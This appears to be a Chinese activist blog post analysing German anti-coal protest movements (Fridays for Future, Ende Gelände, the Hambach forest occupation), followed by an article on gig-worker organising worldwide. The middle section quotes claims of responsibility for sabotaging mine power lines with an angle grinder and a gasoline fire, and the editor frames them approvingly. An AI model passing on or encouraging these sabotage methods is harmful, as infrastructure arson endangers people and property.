📌 这是值得警惕的。一些活动家的确会受到传统思维方式的潜在影响，即 被当权者的官衔所迷惑，而当权者非常擅长利用这点来进行柔性维稳，就如 Altmaier 所做的那样。尤其是，媒体最喜欢追逐跪舔当权者的官衔，而不是聚焦反抗者的行动，这会严重拉低抵抗运动的成效。

“为了未来的星期五 FFF” 与政治阶层之间的关系是模糊的。FFF提出了要求，并以政治需要明确的行动路线来证明这一点。虽然参与者经常把政客作为问题的一部分，但许多要求是专门针对这些政客的。参与者指责政客的失败，但同时，他们假设 —— 有时是明确的，有时是含蓄的—— 这种失败是由于缺乏信息。

【📌 请注意，这是个严重错误，这相当于从一开始就将谈判摆在了不利于反抗者的倾斜角度上。具体分析见《要运动，不诉求》】

如果当权者的破坏性行为仅仅是由于缺乏信息，我们就会发现在高级政治职位上布满了“缺乏信息”的人。在这种情况下，光是教育就足以补救这些问题了。

但是，决策者并不是不知情的。相反—— 尽管这对某些人来说可能是不可想象的—— 这些政客有意识地选择短期利益，并且在完全了解后果的情况下这样做。他们这样做只是因为这对他们的事业有好处—— 简而言之，纯粹是出于利己主义。

除了被外部行为者侵占的风险外，FFF的另一个巨大危险是来自内部的安抚。虽然一开始有更激进的要求，但在2019年年中，我在 fridaysforfuture.de 上看到，德国的煤炭淘汰应该在2030年之前实施。令人难过的是，由于所谓的“现实政治的需要”，这些要求很快就软化了。当然，当其中一位女性发言人也是绿党的活跃人士时，这也就不足为奇了。然而，幸运的是，这在内部是有争议的，她被指责为个人崇拜和职业政治。

群众抗议活动：“到此为止”（Ende Gelände）

「图」

一开始，它更像是一个统一的口号和不同团体的联盟，很快就成为一个由能够进行非常特殊的群众行动的倡议和个人组成的协会的品牌名称：Ende Gelände（”到此为止”）。这个形象无疑是令人印象深刻的：成千上万的人，戴着防尘口罩，穿着白色油漆防护服，进入巨大的露天矿场，阻挡挖掘机。他们的出现使作业瘫痪，使挖掘工作无法继续。同时，在其他地方，同样多的人阻挡了将煤炭从矿场运到发电厂的铁轨。由于发电厂没有足够的供应，它不得不减少产量。Ende Gelände

Ende Gelände 自2015年以来一直在组织群众行动，主要是在莱茵的褐煤开采区。在第一年，已经有大约一千名活动家参与；在2019年夏天，根据他们自己的数字，多达六千人参加了封锁和封锁尝试。

Ende Gelände 是一种参与式行动—— 明确地旨在使没有或很少有行动经验的人能够参与其中。提前几天，人们将自己组织成亲密团队，以便在行动中相互照应。他们模拟冲破警察的防线，练习冲洗眼睛上的胡椒喷雾。他们把草袋装起来作为硬轨的坐垫。当他们在行动当天出发时，气氛中充满了期待，充满了决心，带着恐惧—— 或者至少是敬畏—— 以及震耳欲聋的呼喊声。许多来自其他国家的人和团体参加。人们交流经验；进行辩论。

📌 《如何组建亲密团队》

《如何互相照应》

《如何对抗镇压武器》

在准备行动时，Ende Gelände 制定了一个 “行动共识”（Aktionskonsens），描述了行动的预期框架。这通常包括对公开宣布的群众行动的承诺和对规定行为的描述。

📌 具体方法见《确定变化的杠杆：信息行动主义指南（*2*）- 战略效用》

在2019年，这个框架包括以下内容：

“我们将表现得平静而有礼貌，我们不会危及任何人民。我们将用我们的身体阻挡和占领。我们的目标是不破坏或损害基础设施。我们不会被结构性障碍物所阻挡。我们将穿过或绕过警察或工厂保安。我们的行动将传达出一种多样性、创造性和开放性的画面。我们的行动不针对RWE工人、RWE委托的公司或警察。参与活动的活动家、工人和

所有相关人员的安全是我们的首要任务。我们正在为前往行动地点的安全旅程做充分准备”……

Ende Gelände 对现有经济体系的批评是令人欣慰的，该组织在网上说：“如果不能转变资本主义，就既不可能认真对抗气候危机，也不可能实现全球社会正义。为了实现所有人的美好生活，需要一个深刻的、社会生态的转型”。

Ende Gelände 致力于转变整个社会的语话，也就是说，什么是可以说的和可以想的。这正是伟大的功绩所在。

在周末的行动之后，我不仅被许多愿意承担个人风险的人所折服，而且还向自己提出了问题。我问自己，流水线式的行动形式是否导致人们只是盲目地消费这种模式，而不了解自己是行动的一个形成部分？我想知道人们在多大程度上将行动框架理解为参与者的协商共识，或者许多人只将其视为不可改变的、外在于他们自己的东西？Ende Gelände.

在我看来，如果当一个运动以几乎传统的方式反复做同样的事时，它就不是特别有力了。最好的战术是不可预测的、不可估量的、不可控制的。而这正是 Ende Gelände 中所缺少的。尽管为新的活动家提供某种安全感很重要，但仪式化和可预测的活动最终会在内部和外部都成为政治上的死角，因此而失去意义。

【想想香港维园的烛光晚会，如何成为“鸡肋”的？】

汉堡反核办公室在一份评估文件中这样写到 Ende Gelände：

“为了一个运动的生存，必须认真对待自己和自己的目标。通过直接干预解决燃煤电厂的运行问题的目标，并不限于在媒体上传达这个项目的形象，还必须包括实施这个项目的实际尝试。

“我们对关闭煤电站是认真的；这一点在以下时刻变得非常具体：不是简单地在预定的地点「到此为止」（***“Ende Gelände”***），而是行动中的人们自己动手，脱离运动的结构，自主行动。在这一点上，运动的力量变得直接可见。通过认真对待活动家们关闭发电厂的目标，人们能够准确地瞄准真正能伤害到运营商的地方。由这一决心引发的来自警察、运营商和政治家的愤怒嚎叫清楚地表明，经过两天的拥护*[*即在没有实际影响其运作的情况下包围电厂*]*，我们终于找到了伤害政治同行的压力点。

“运动的祝福和诅咒都是能够成长的，也必须成长。每一次运动都必须超越前一次，以便继续传递希望 …… 从长远来看，唯一有帮助的是不断建立抵抗的社会场所，只有这样，才有可能在一个运动周期中断后重新组织抵抗，并产生持久的效果，就像在文德兰取得的成效那样”。

“如果相当一部分人仍然认为冲击褐煤发电厂比发电厂纯粹的存在更可耻呢？” Arranca 杂志在第53期问道。他们总结说，Ende-Gelände 行动 “对一些人来说，是群众好战的表现，对另一些人来说，是和平的不服从的群众反抗行动。这种行动形式适合不同的主观意识状态——并在不把好战性问题作为核心问题的情况下加以扩展”。一场关闭了整个德国高速公路的行动

破坏行为

「图」

激进的活动家经常通过声称 “负责任的信件” 来传达他们的分析和技术。由于他们受到镇压的高风险而试图保持匿名，他们寻求通过行动本身和书面声明在媒体上表达自己。激进派的行动后的众多非常情绪化的辩论表明，这些行动除了不可否认地干预露天煤矿的正常运作外，至少还能做一件事：激发争议。

2016年4月13日，《亚琛日报》报道了活动家对一根电线杆的破坏行动，这根电线为矿场提供电力。一台角磨机被用来锯开地基正上方的电线杆。

linkunten.indymedia 网站上出现了一份声称对此负责的声明，其中部分内容如下：

“今晚，从*16*年*4*月*11*日到*16*年*4*月*12*日，我试图关掉露天开采矿场的灯。为了表达我对正在进行的褐煤开采和当局对反对开采的人的镇压的愤怒，我开始推倒 *Fronhoven* 和 *Weisweiler* 发电厂之间的一根电杆。这根杆子承载着为露天矿供电的线路，从而使其开采工作成为可能。尽管这根杆子目前还在那里，但它的损坏程度很高，*RWE*可能不得不自己重新安置它。我知道我的风险，但我认为在争取一个更美好的世界的斗争中，有必要采取严厉的措施……

“为了实现这一目标，我们应该停止对抵抗战术的好或坏进行分类的思考，而是要相互团结。一场抵抗运动之所以能够如此成功，是因为激进行动与和平行动相辅相成。改变电力供应商！占领房屋、办公室

和挖掘机！堵住通道和生产线！砍掉电线杆而不是树！我敢于尝试的事，你们早就能做到了！”属于RWE的车辆在莱茵兰被烧毁

仅仅几天后，2016年4月25日，汉巴赫露天矿又发生了一起破坏行为。《亚琛日报》当天写道，这是一次史无前例的破坏行为。一座电缆桥下的火灾导致了短路，从而使整个露天矿暂时瘫痪，包括主要的煤炭挖掘机。再次有声明声称对此负责：

“我们作为上周日（*2016*年*4*月*24*日）上午导致汉巴赫褐煤矿故障的人发声。作为我们攻击的目标，我们选择了煤仓和传送带收集点之间暴露的地下电缆。所有的挖掘机和输送机都与这些电缆相连。这些电缆从矿区西部边缘靠近*Oberzier*的变电站（从*280*千伏到*30*千伏的转变发生在这里）通过高度约为*20–200*厘米的钢制脚手架运行到矿场。包括绝缘层在内，它们的厚度约为*10*厘米。为了确保对尽可能多的电缆产生影响，我们在电缆下放置了大量的汽油，并将其点燃。现场附近没有建筑物或设备，确保火势可能会蔓延到的地方没有其他东西。也没有人呆在那里。我们的行动不仅是针对*RWE*，也是针对当前的整个系统。在这个世界上，资本利益是最重要的，权力机构无情地执行其短视的利益，反对所有的理性，也反对人类和自然，激进的抵抗是必要的。我们要用一个明确的‘不’来反对这个系统，作为在某个时候推翻这些权力关系的第一步。（……）。

“试图在*RWE*和褐煤抵抗组织之间进行调解，暴露了正在发挥作用的权力关系。调解意味着要求抵抗运动不那么激进，对*RWE*不那么’卑鄙’，或者换句话说：抵抗运动不能破坏接受***RWE***的存在和它的破坏性工作，因为这是既定的。也就是说，被统治合法化的专制暴力，在于开采和转换煤炭为电力，是被接受的；反抗它的行动则显得不合法。其结果只能是保证*RWE*的继续存在，不管它是怎样的，现在它也得到了一部分反抗者的祝福—— 那部分人允许自己被纳入仲裁程序中。抵抗力量被撕裂成了被淘汰的部分、参与的部分、和剩下的、孤立的非法部分。当人们声称这样的行动会伤害抵抗力量时，这说的是对统治者将抵抗力量强行切分为善和恶的考虑。所谓的邪恶恰恰是指那些真正有效的行动。

“ …… 我们的行动本来可以由任何一个小团体完成。不需要特殊的技能、知识或渠道。所有必要的信息都可以公开获得。

“为了激进的、果断的、直接的抵抗！为了一个不被资本利益破坏的世界！”

📌 这是很重要的认识，对此的详细分析见《暴力的非法性，合法性

的暴力》

据 indymedia 报道，后者的行为在一年后出现了模仿者：

“2017年12月24日，我们放火烧毁了为汉巴赫露天矿供电的电缆。因此，那里的巨大机器至少有一部分被关闭了。在这种情况下，这些电缆位于露天矿的有利位置（Terra Nova之后的那个）。

“现在停止煤炭！致*RWE*：危机快乐，新恐惧快乐！”大众汽车抗议行动

复原力和延续性

「图」

占领者在2018年夏季和秋季获得了全国性的声望，但这个森林的占领行动自2012年4月就已经存在了。当时，活动家们能够非常容易地在那里行动，因为占领区直接靠近高速公路的出口。今天，从科隆到亚琛的高速公路进一步向南延伸；由于露天采矿，它被迁移了几公里的距离。

2012年11月，警方在被占领的森林中进行了第一次大规模的驱逐行动。活动家奋力抵抗，警方花了四天时间才把其中一名寮屋居民从地下通道中弄出来。令人欣慰的是，此后不久就出现了重新占领的呼声，2013年9月开始出现了新的木屋、路障和树屋。在接下来的几年里，这些占领区成为了森林中的几个村庄。在森林剩余部分的小径上，一些路口矗立着标志牌。我被指向 ‘橡树镇’ 或 ‘山毛榉镇’，指向 ‘洛林’ 的方向，或回到草地的路。’魔多’写在箭头上，指向露天矿和矿场。

在汉巴赫森林问起 Ende Gelände，可能会得到这样的答案：**Ende Gelände** 每年只出现一次，给褐煤开采的话题带来大量的媒体关注，而在冬天则让活动家们独自在树上驻守。我们还可能听到，参加 **Ende Gelände** 行动的人并没有学会如何在小团体中开展行动，因为他们只是经历了跟随几个领导人来发起行动。

📌 这是一个战术错误。行动组织必需能够紧密联合当地力量，你们的关系是合作和互相学习，而不是领导和被领导。

这无疑是硬币的一面。但是，一些参加群众抗议活动的人仍然觉得不舒服，只是在锁着的门里消费几个职能部门制定的计划。由于像

“Zucker im Tank” （”坦克里的糖”）这样的团体在 Ende Gelände 营地提供技能分享，Ende Gelände 和自我组织的亲密团队之间建立了一些联系。“反煤儿童” 组织（Anti-Kohle-Kids）使用的口号是 “让我们为AKK建立一个积极的内涵”（指德国保守党CDU的前领导人 Annegret Kramp-Karrenbauer，通常被称为AKK），正在为 “未来星期五” 和 Ende Gelände 之间建立联系。最后但并非最不重要的是，森林导游迈克尔·佐贝尔（Michael Zobel）向数千名游客的森林保护行动，一句话解释了森林的独特性，另一句话解释了树屋的功能。

但是，当然，在所有这些行动团体中，也可以找到相信国家解决方案的人（改良派）。“为了未来的星期五” 的一些发言人参与了绿党的青年分支；Ende Gelände 的一位前发言人现在正在竞选联邦议院[德国议会下院]。这些人中的一些人可能是出于利己主义的原因寻求个人事业的发展；另一些人可能是天真的。

📌 我们强调过这点 —— 对 “兄弟爬山” 这句话的错误理解，见《您天生适合在社会变革中扮演什么角色？：行动主义（9）》。在盟友光谱上，您的合作方应该被分级，但绝不意味着因战术选择的不同而割弃任何潜在的盟友；改良派在未来是不可靠的，但在当下，他们是力量的一部分。在弗伦斯堡（Flensburg）的一个树屋中

它的真正目的是什么

「图」

但是，森林占领运动不仅仅是试图影响政客们在权力大厅做出的决定。体验到在资本主义现实中优化自己的每一个方面的需要，它增加了我们可以尝试完全不同的存在方式的空间的吸引力，在那里，我们是否有学术学位或出生地并不重要。在那里我们可以发展新的决策方式。在那里我们彼此分享而不是无休止地竞争。在那里我们敢于作为古怪的同性恋者生活，在那里我们遇到美丽的人并参与具有挑战性的辩论。在那里，我们至少可以开始梦想一个更好的未来。在那里，人们可以忍受对 “你好吗？” 这个问题坦诚的回答。

即使参加占领运动的经历大多与激烈的警察暴力的经历有关，但不可能抹去对美好时刻的记忆。这些记忆是反抗精神得以传播的种子。有些可能永远不会发芽，但有些很快就会开花结果，还有一些最终会成长。

1980年，当反核活动人士建立了一个名为 “文德兰自由共和国” 的占领区时，他们挂起了一条横幅，上面写着 “Turm und Dorf könnt ihr

zerstören, aber nicht die Kraft, die es schuf”—— “你可以摧毁我们的塔楼和我们的村庄，但不能摧毁创造它的力量” 。Ende Gelände

创新：战术和战略

「图」

最后，让我们确定一些加强运动的战略决策。

📌 迫使警察驱逐：如果你们参与占领的人数很少，而且你们无法将占领持续太久，可以考虑挑起警察的驱逐，因为离开可能比被驱逐感觉更失败。在过去，从占领树木扩大到占领建筑工地。本身已经有效地达到了这个目的。

📌 拒绝认定为非暴力：Ende Gelände 在专注于对煤炭基础设施进行低门槛封锁的同时，有意识地从不使用 “非暴力” 一词。相反，他们将自己的计划描述为对那些可能对某种方法感到舒服的人的邀请。参与反抗网络的不同团体之间的这种彼此接受使非常不同的参与者能够合作。

📌 拒绝沦为少数人的要求：在汉比占领区的网页上，大多数文章都明确标明是部分参与者的意见，而不是全部；有时不同的作者在网上进行讨论。此外，许多 barrios（占领区内的不同街区）、有时甚至是个别树屋，都保持着自己的社交媒体账户。在运动中不存在所谓的总部。

📌 拒绝向警察和法院提供你的身份：首先在 Ende Gelände 抗议活动和汉比周围使用，以保护加入斗争的国际人士。这是一个双刃剑的战略，因为那些拒绝提供身份证明的人有可能被审前拘留，并面临被强行提取指纹的更大可能性。而另一方面，这种战略成功地阻止了国家对许多活动家的指控。和往常一样，警察总是有可能不会将数百名活动人士全部监禁更长时间，但如果没有这个选择，许多人就不会加入大规模抗议活动，并愿意承担这个风险。

在参与者尝试拒绝提供身份证明的若干年后，一些长期效果变得更加明显。那些被警察认出的人有时会在法庭上被孤立，因为他们以前的亲密团队的其他成员害怕被检查出身份，害怕自己也遭受同样的迫害。人们生活在恐惧之中，害怕在其他地方被偶然认出。这就导致活动家和团体之间的沟通变得更加复杂，因为人们经常改变自己的名字，使得建立长久的关系和合作更加困难。

请注意，这点适用于所有行动主义计划。行动者必需能彼此信任、并及时有效地沟通，而当权者最擅长的就是分化打散反抗者组织。您的战术选择需要合理地斟酌。

📌 从森林到工厂：在2018年和2019年，运动内部讨论了交通的话题；一些抗议者把汽车展览作为行动的潜在目标，而另一些人则描述需要打击资本家最痛的地方：生产基地。这些辩论的结果之一是2019年在沃尔夫斯堡对大众汽车公司的大封锁。

有时，离开占领区是对斗争进行战略思考的重要一步。如果你参与到占领区的日常生活中 —— 不断地研究在哪里获得食物、饮用水和建筑材料，以及如何与当局打交道—— 就很难退一步思考大问题。有时，你能为运动做的最好的事就是休息几天或几周，以避免出现只见树木不见森林的倾向（这句话在德语中也有使用）。

请记住：结构和路障的数量*不一定*与媒体关注度（如果这是你的目标）或斗争的 “质量” 相关；2018年在汉比的驱逐行动比2020年在Danni的驱逐行动引起了更多媒体关注。媒体只是在赚钱，抓取最抢眼的和最新的东西，媒体的工作中从来不包含解决问题。此前，有时建造更多的树屋只是一种自欺欺人的形式：如果我们不设法把事情推得更远，那些看似让占领变得更大的东西最终可能成为一种无效的仪式。弗伦斯堡的占领

📌 提前宣布重新占领：在2014年秋季汉巴赫森林的占领被驱逐之前，活动家们已经宣布他们将重新占领森林；在驱逐一个月后，森林再次被抗议者蹲守。即使你个人不确定自己是否能因疲惫而参与重新蹲守，宣布重新占领作为对驱逐的唯一可能的回答，也是一个非常有力的声明。它邀请那些还没有参与的人参与进来，给运动一个自我更新的机会。

📌 互联网接入：在疫情期间，当人们不能去学校或大学，或者他们的工作被改变为 “在家办公” 时，这个家可能是一个树屋。在Dannenröder 森林，许多学生感谢在占领区附近甚至在树屋里都有可靠的高速互联网连接。

如果您错过了《*“人民的选择”：罢工的电信工人正在建立社区自己的ISP*》

📌 技能共享：在汉比，每年都有分享技能的活动，在已经有经验的人和未来的森林保卫者之间进行知识交流。在运动规模尚小的时候，分享知识使其有可能处理运动迅速发展和每个人都忙于处理其他问题

时所带来的挑战。

📌 共同经历：去过同一个蹲点的森林是连接人们的有利条件，就如读过同一所大学那样，虽然并不同届。即使2012年在汉比的第一次占领与2014年、2018年或今天在那里的占领没有太多的共同点，但是，当我们分享我们在汉比的经历时，我们立即感到了与其他活动家之间的联系。行动本身已经成为一种传奇。这只是因为森林过去非常大，一旦被占领的部分遭到驱逐，人们就可以占领同一森林的其他部分。

📌 基础设施：在占领区附近维持开放的（通常是“合法的”）“项目房屋”，为参与者提供了在需要时睡在温暖干燥的房间里的选择，同时还有一个接收信件的地址，以及一个装饮用水和洗澡的地方。这些空间可以作为一个办公室，有互联网连接，也许还有打印机或复印机。自我组织的开放项目可以在这里来绘制标语，建造用具，或者只是放松一下，而不用担心被殴打或被驱逐 —— 不用依赖更多资产阶级支持者的声援，他们可能不喜欢支持所有可能需要室内准备的不同类型行动。活动家们在汉比的第一批占领行动开始的同时，在汉比附近买了一座房子。他们开设了WAA（行动和替代方案工作室），明确支持反对褐煤开采的斗争。汉比的路障

成功

「图」

占领树木而不是加入政党或老式的非政府组织的一个简单理由就是，胜利的可能性。成功总是相对的；我们可能拯救了一棵树，而其他的数百棵树依然被砍伐。但是，在这个时代，能拯救一棵树仍然是值得骄傲的事。在一个像我们这样的破坏性社会中，这是正确的事。这是对自然的尊重，因此也是对我们自己的尊重的小小表现。〇

- *Deutsch*
- *Español*
- *Italiano*

原文

我们一起来对战巨人：世界各地的快递小哥终于组织起来形成了真正的反抗力量 - iyouport

反抗者-寻求经验长读

面对脆弱性和不确定性，零工工人正在跨越国界，挑战平台的权力和政策。

---

https://t.me/iyouport/8754

📌 如果您错过了：

- [美国] 快递小哥的反抗：收集自己的数据检查算法暴政的剥削
- [台湾] 快递小哥想要一个全国工会
- [中国] “我要我的血汗钱”：全球资本主义的算法暴政在中国
- [亚马逊·意大利] 工运新时代：在供应链中团结起来

一个来自中国网络的广告海报。非常有趣 ..... 您懂的。

【按】在首尔，食品递送应用程序竞相以 “子弹速度” 将你的食物送到你手中，像 Jang Hyuk 这样的司机在城市中急速奔跑，在算法预先规划的路线上与时间赛跑。在波哥大也是如此，委内瑞拉移民 Lisandro Linarez 为了每天9美元的微薄收入（这还是说如果他运气好的话）为超级外卖应用 Rappi 工作，冒着恶劣的天气状况、犯罪频发的社会和偶尔遭遇的愤怒的狗。

在过去的十年里，以数字为媒介的零工工作已经在全世界激增。国际劳工组织统计，2020年全球有489个活跃的叫车和送货平台，是2010年的十倍。劳动力的流动性意味着对现在有多少人从事这种劳动并没有一致的估计，但一些研究人员认为，现在有多达10%的全球劳动力从事某种类型的零工工作。

虽然 “共享经济” 模式真正于美国兴起，但零工工作平台现在是全球性的，为完全不同的环境调整他们的模式—— 或根本不调整。

为了试图了解这种工作在西方之外的经历，Rest of World 采访了世界

各地的零工工作者。通过与研究公司 Premise 合作，对4900多名工人进行的调查，以及对数十名工人的采访，试图捕捉他们的经验。最终发现了很大的共同点：零工的工作压力很大，也很脆弱；报酬相对较高，但是也让工人在燃料、数据和保险方面付出了很多。无论是在埃塞俄比亚开出租车还是在印度尼西亚开卡车，工人们都觉得他们不能拒绝工作，这意味着工作很少像公司所说的那样 “灵活”。

无论是在曼哈顿还是孟买，无论是在约翰内斯堡还是伦敦，零工工作所面临的共同问题正在刺激一场真正的全球反抗运动的产生 —— 司机和骑手跨越国界联合起来，迫使公司和政府承认一个简单的事实：零工就是工作，它需要得到相应的报酬。

今年7月，辛格在午夜中骑着车子带着一个巧克力慕斯蛋糕横穿孟买7公里，被一个骑摩托车的醉酒司机从后面撞了一下。他只受了一些擦伤和扭伤，但是他的自行车被严重撞坏了。修理费用—— 14,000卢比（189美元）—— 这个数字大约是他在印度食品和杂货配送应用程序 Zomato 平台工作一个月的收入。因此，在过去的一个月里，只要他能凑到钱，他就会把所有钱攒起来只为了修车子。

40多岁的辛格说起话来句子很长、很流畅，其中还夹杂着文学参考和宿命论式的幽默。在印度日益萎缩的就业市场上苦苦寻找工作后，他于2020年开始为 Zomato 公司做骑手。

“我在谷歌上搜索 ‘我今天能找到的工作’ 时，食品配送出现了…… 这是我一生中得到的最容易的工作”，他说。

报名后的一小时内，他就开始送餐了。在最初的几个星期里，感觉钱很容易赚 —— 他的目标是在一个月内赚到大约350美元，在该应用程序所承诺的范围内，这大约是印度平均月薪的两倍。

但是，随后，订单开始枯竭。骑手会被引导到 “红色区域”—— 那些应该有大量订单的地区—— 但那里接不到活儿。然后他们会被派往另一个红区，花费没有报酬的时间、消耗自费的燃料。为了赚到足够的钱，他不得不工作得越来越久，经常一天骑行**12**个小时或更多，并且，他感觉指导他从一个零工到另一个零工的技术越来越多地具有侵入性的威胁。

每当应用程序判定他落后于时间表时，他的电话就会响起，一个自动的声音会告诉他要加速，否则将面临罚款。为了赶上时间，他就会冒险，在单行道上飞奔或闯红灯。在空闲的时候，该应用程序会提供视频，告诉他如何通过微笑和鞠躬来取悦顾客。有时，这些视频会提醒

司机不要对媒体说话，这就是为什么辛格要求只用自己的姓氏来接受采访，因为他害怕自己因为和记者说话而被禁止使用该应用程序。

“你只是一个数字，无论你喜欢与否”，辛格说，他描述了为一个算法工作所带来的疲惫和焦虑，这个算法的决定 —— 谁能接到什么活儿，谁被停职，谁被罚款或奖励 —— 常常让人感觉很随意。“你只是一个数字，你是一个ID，你是一个在数字地图上移动的滑板车图标 …… 应用程序并不了解你。应用程序也不听你的”。

Zomato 公司没有对评论请求作出回应。***2021*** 年 ***8*** 月，一名 ***Zomato*** 骑手在印度班加罗尔的街道上。

由于他的自行车目前处于失修状态，辛格在过去的一个月里一直处于旁观状态。这让他有时间思考自己和自己的同事们的情况。他已经创建了一个 Twitter 账户，@DeliveryBhoy，以记录自己在路上的经历。从8月开始，他开始分享 Zomato 应用程序中的截图，展示骑手们为之奋斗的微小报酬、无法实现的目标和任意的扣款。他向全世界发布的信息 —— 零工工作是艰难的、不安全的、报酬不足的、不被重视的—— 不仅在印度的骑手伙伴中产生了强大共鸣，而且，在全球的零工工人中产生了共鸣。

他的账户只有大约4600名粉丝，但已经被世界各地的报纸、学者和活动家所引用。8月，辛格与 Gig Workers Collective 联系起来，该组织主要在美国为零工工人争取权利。通过这个集体，辛格与威利·索利斯（Willy Solis）进行了电话交谈，他是杂货配送公司 Shipt 的一名驻德州的“代购”，也是美国平台工人运动的领军人物。索利斯告诉记者说：“在与辛格交谈时，我听到了我们共同的经历”。

为了了解世界各地对零工工作的体验，Rest of World 与研究公司 Premise 合作，调查了15个国家的4900多名零工工人，将他们的回答与全球劳工机构和学术研究人员汇编的数据相结合，并对非洲、拉丁美洲、亚洲和东欧的零工工人进行了深入采访。调查还接触到了全球最大的六家平台公司。数据显示，虽然零工工作的经验是非常本地化的，并具有其运作的社会和经济的特点，但它也是非常普遍的；无论是在美国还是在尼日利亚，无论是在印度尼西亚还是在埃塞俄比亚，零工工人都在与一系列共同的挑战作斗争：不安全感、焦虑、低工资和高成本。

虽然零工工作的性质意味着劳动力被原子化和分裂—— 而且平台公司往往拒绝承认工人团体和工会 —— 但不稳定和往往危险的工作的共同经历帮助创造了一个真正的全球反抗运动，正在对科技公司展开

斗争。

“有这么多的共同点。它超越了文化，超越了语言”，索利斯说，“我们都在试图找出一种方法来共同反击”。

2019年离开乌克兰军队后，帕夫洛在波兰度过了冬季（他要求隐去自己的姓氏）。他在仓库工作，并在业余时间为 Uber Eats 送货。随着大流行病的恶化，他回到了家乡，但苦于找不到工作。最后他来到首都基辅。他需要钱维生，所以他再次与 Uber Eats 公司签约。毕竟，他的理由是，他已经支付了该品牌送货袋的费用。2020年6月，当 Uber Eats 突然退出乌克兰市场时，他转而为其竞争对手 Bolt 服务工作。

帕夫洛告诉记者，很多前乌克兰士兵退役后最终都为这些平台做了骑手，因为他们可以免于公共交通的费用。这意味着他们可以报名步行送货，而不必购买或租用自行车，然后乘坐公交车。而且，由于大多数平台公司都不向当局报告谁在为他们工作，退伍军人也可以继续申请他们的失业福利。

送货平台在乌克兰经济中按需付费的非正规性中茁壮成长。当帕夫洛需要获得健康证明以便为 Bolt 平台工作时，由于大流行病，保健中心已经关闭了，所以他在网上买了一个健康证明。他说，这些平台很少要求提供文件，即使有，也很容易拿到假的。有些司机没有驾照，记者从几位司机那里得知，驾照被交易的情况很普遍，这样一来，那些没有证件的人、未成年人、和以前被禁止进入平台的司机，就可以继续工作。帕夫洛说，这应该是违法的，“但在我们糟糕的经济形势下，人们基本上是靠为这个平台工作才能生存，所以你还能怎么做？”

Bolt 的一位发言人说：“Bolt 检查所有该公司司机的身份和合法驾驶能力。任何经证实的司机让其他人使用其账户的案例都会导致司机的账户被永久封锁，并可能涉及法律诉讼”。

零工工作通常被描述为 “兼职、灵活” 的劳动，正日益填补更稳定工作留下的空白。在接受 Rest of World 调查的全球零工工人中，有超过一半的人表示，为平台工作构成了他们收入的大部分或全部。

> “在我们糟糕的经济形势下，人们基本上是靠为这个平台工作才能生存，所以你还能怎么做？”

这项工作可能要求很高。在乌克兰，使用自行车而非摩托车的帕夫洛

必须应对基辅的陡峭山路。与其竞争对手不同，Bolt 对骑手的行程距离进行补偿，但是，它没有考虑到坡度。

帕夫洛说："这个应用程序认为你总是兴致勃勃的，而不是疲惫的"。十一或十二个小时的轮班很常见，一些司机被发现使用安非他命，可能是为了保持清醒。涉及快递员的道路事故很常见，已经有多人死亡。

在乌克兰的第一波 Covid-19 事件中，平台为骑手提供了口罩。但是他们必须亲自到公司总部去领取，而且几乎没有其他健康检查。帕夫洛在2020年夏天感染了病毒，在自我隔离中度过了两个星期。其他人继续骑行。他说："唯一能拯救这些骑手的只是一个口罩和可能的止咳糖浆"。

乌克兰政府一直在努力监管平台公司。自2014年以来，政治动荡、俄罗斯对克里米亚的吞并、与俄罗斯支持的东部分离主义分子的持续战争，以及这场大流行病，都打击了乌克兰的经济。尽管平台工作具有不稳定性，但它被视为成千上万的人在传统雇主不再雇人的情况下至少能获得一些收入以糊口的方式。

"我想说的是，这些公司确实利用了这种脆弱性，以及乌克兰劳动力市场的这种不稳定性，特别是在大流行病袭来的时候"，乌克兰倡导团体 Labor Initiatives 的工人权利活动家 Svitlana Iukhymovych 说。***2021*** 年 ***8*** 月，来自 ***Glovo*** 和 ***Rocket*** 的送货司机在乌克兰基辅的街头擦身而过。

在全球范围内，叫车和食品及杂货配送平台都很擅长适应社会压力。一旦这些平台在一个市场上建立了自己的地位，它们的模式允许它们在不需要大幅增加成本的情况下几乎无限地增加它们的劳动力。工人们自己去支付自己必须使用的车辆、燃料、源源不断地付出自己的私密数据，而且往往也支付自己的保险。当他们没有积极主动地拉活儿时，他们通常不会得到任何补偿。

虽然这些平台公司在其技术和补贴方面投资了数十亿美元，以将用户带到他们的平台上，但实际上是他们的骑手和司机在街上付钱来扩大这些平台的规模 —— 如果需求与供应不匹配，工人们还要承担很多风险。

造成并保持骑手或司机的过度供应也符合平台公司的利益 —— 有了更多的骑手，平台就有了更多的定价权，从而压低消费者的成本。并且，在工人过剩的情况下，平台就可以在一个细微的层面上操纵供求

关系，让骑手或司机充斥一个地区 —— 也就是辛格在印度谈到的红色区域 —— 为他们的合作伙伴制造稀缺性，这些合作伙伴被迫接受无利可图的工作，因为他们如果不这样做，算法就会惩罚他们。正是这种供过于求，使得平台可以向客户作出越来越大的承诺。

例如，在印度，主要的食品杂货递送服务在递送时间上展开了一场竞争，主要平台现在承诺在30分钟内将必需品送到消费者家门口。这在一定程度上得益于他们的技术 —— 他们掌握的大量数据使他们能够预测需求，并将受欢迎的产品放入靠近客户的执行中心 —— 但这只有在有大量闲置劳动力的情况下才有可能做到，这些劳动力可以被提前定位，并随时被迫接受任何工作。印度互联网经济研究公司 RedSeer 预测，该国的 “快速商务” 市场可能增长15倍，到2025年达到50亿美元。

这种动力也解释了为什么在一个平台进入市场的早期，似乎对所有人来说都有好处。少数工人可以选择工作，所需费用由公司补贴，这些公司愿意烧掉投资者的钱来播种市场并建立其用户群。

但是，随着平台公司吸收了越来越多的劳动力，算法就有了更多的棋子可以在棋盘上移动。它对零工工人的要求会变得更高。订单之间的等待时间增长。由于许多司机和骑手使用的车辆是租的，或贷款购买的，他们就必须工作越来越长的时间，才能交租金和还贷款。

这项调查采访了乌克兰、南非、尼日利亚、新加坡和印度的骑手和司机，他们都说了同样的话：他们不得不每天在线12小时以上，只是为了偿还自己为平台工作所欠下的债务。他们并不占多数—— 调查显示，许多工人每天工作不到8小时 —— 但按小时计算，42%的受访工人的收入低于当地法定的最低工资。

工人们经常发现，他们很难就工资问题向平台公司提出质疑。平台承诺的收入理论上是可以实现的，如果工人能够达到特定的条件—— 例如接到一定数量的活儿—— 但这些目标往往取决于工人无法控制的因素。

很难知道算法的决定是否不公平，因为算法是黑箱，但平台很容易声称工人的低收入是工人自己的错，因为他们没有达到算法任意下定的目标，或者因为客户没有给他们更高的评级或小费来奖励他们。(调查中，51%的受访者表示，他们的收入有一半以上来自小费 —— 如果您必须订外卖，别忘了给您的骑手小费)

